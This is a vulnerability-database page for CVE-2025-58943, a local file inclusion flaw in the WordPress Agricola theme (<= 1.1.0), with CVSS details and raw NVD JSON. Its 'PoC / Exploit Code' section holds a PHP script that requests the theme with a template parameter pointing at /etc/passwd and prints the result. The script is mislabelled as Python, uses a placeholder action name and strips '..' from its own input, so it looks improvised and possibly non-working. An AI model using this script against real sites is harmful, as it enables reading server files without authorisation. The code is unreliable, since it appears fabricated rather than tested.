Security Vulnerability Report
中文
CVE-2025-58943 CVSS 8.1 HIGH

CVE-2025-58943

Published: 2025-12-18 08:16:02
Last Modified: 2026-04-27 21:16:23

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Agricola agricola allows PHP Local File Inclusion.This issue affects Agricola: from n/a through <= 1.1.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:agricola:*:*:*:*:*:wordpress:*:* - VULNERABLE
Agricola <= 1.1.0 (WordPress主题)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-58943 PoC - Agricola Theme LFI * WordPress Agricola Theme <= 1.1.0 Local File Inclusion * * Usage: php poc.php <target_url> <file_to_include> * Example: php poc.php http://target.com /etc/passwd */ $target = $argv[1] ?? 'http://localhost'; $file = $argv[2] ?? '/etc/passwd'; // Normalize path to prevent directory traversal bypass $file = str_replace('..', '', $file); $exploit_url = $target . '/wp-content/themes/agricola/' . '?action=some_action&template=' . urlencode($file); echo "[*] CVE-2025-58943 PoC\n"; echo "[*] Target: $target\n"; echo "[*] File to include: $file\n"; echo "[*] Exploit URL: $exploit_url\n\n"; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $exploit_url, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 30, CURLOPT_SSL_VERIFYPEER => false ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "[*] HTTP Status: $http_code\n"; echo "[*] Response:\n"; echo $response; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58943", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:01.963", "lastModified": "2026-04-27T21:16:22.830", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Agricola agricola allows PHP Local File Inclusion.This issue affects Agricola: from n/a through <= 1.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:agricola:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.1.0", "matchCriteriaId": "485EF9CE-98AC-4103-8089-343483F7E2AD"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/agricola/vulnerability/wordpress-agricola-theme-1-1-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}